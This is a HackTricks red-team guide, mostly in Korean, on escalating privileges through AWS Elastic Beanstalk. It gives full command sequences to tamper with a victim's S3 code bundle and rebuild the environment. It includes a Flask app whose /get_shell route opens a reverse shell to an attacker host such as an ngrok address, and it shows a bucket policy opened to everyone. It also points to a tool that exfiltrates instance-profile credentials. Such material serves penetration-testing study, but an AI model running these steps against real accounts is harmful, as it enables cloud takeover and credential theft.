AWS - Elastic Beanstalk Privesc

AWS 해킹을 배우고 실습하세요: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹을 배우고 실습하세요: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

Elastic Beanstalk

Elastic Beanstalk에 대한 자세한 정보는 다음에서 확인할 수 있습니다:

AWS - Elastic Beanstalk Enum

Beanstalk에서 민감한 작업을 수행하려면 다양한 서비스에서 많은 민감한 권한이 필요합니다. 예를 들어 **arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk**에 부여된 권한을 확인할 수 있습니다.

elasticbeanstalk:RebuildEnvironment, S3 쓰기 권한 및 기타 여러 권한

환경의 코드를 포함하는 S3 버킷에 쓰기 권한과 애플리케이션을 재구축할 수 있는 권한( elasticbeanstalk:RebuildEnvironmentS3, EC2, Cloudformation과 관련된 몇 가지 권한이 필요)이 있으면 코드를 수정하고 앱을 재구축할 수 있습니다. 그러면 앱에 다음에 액세스할 때 새 코드가 실행되어 공격자가 애플리케이션과 해당 IAM 역할 자격 증명을 침해할 수 있습니다.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, 그리고 더 많은...

언급된 것 외에도 S3, EC2, cloudformation ,autoscaling 그리고 elasticloadbalancing 권한들이 필요하다. 이는 처음부터 Elastic Beanstalk 시나리오를 만들기 위한 필수적인 권한들이다.

  • AWS Elastic Beanstalk 애플리케이션 생성:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

환경이 이미 생성되어 있고 새로운 것을 만들고 싶지 않은 경우 기존 것을 업데이트할 수 있습니다.

  • 응용 프로그램 코드와 종속성을 ZIP 파일로 패키징하세요:

zip -r MyApp.zip .
  • S3 버킷에 ZIP 파일을 업로드하십시오:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • AWS Elastic Beanstalk 애플리케이션 버전을 생성합니다:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • AWS Elastic Beanstalk 환경에 애플리케이션 버전을 배포하십시오:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

우선적으로 합법적인 Beanstalk 환경을 생성해야 합니다. 피해자에게 이전 단계를 따라 실행하고자 하는 코드를 포함하는 zip 파일을 만들어야 합니다. 이 파일은 아마도 다음 2개의 파일을 포함할 것입니다:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

요구 사항

click==7.1.2
Flask==1.1.2
itsdangerous==1.1.0
Jinja2==2.11.3
MarkupSafe==1.1.1
Werkzeug==1.0.1

자신의 Beanstalk 환경을 실행하여 rev shell을 실행한 후, 피해자의 환경으로 이전해야 합니다. 이를 위해 Beanstalk S3 버킷의 Bucket Policy를 업데이트하여 피해자가 액세스할 수 있도록 해야 합니다 (이로 인해 이 버킷이 모두에게 열릴 것임을 유의하십시오):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.

AWS 해킹 배우고 실습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우고 실습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

Last updated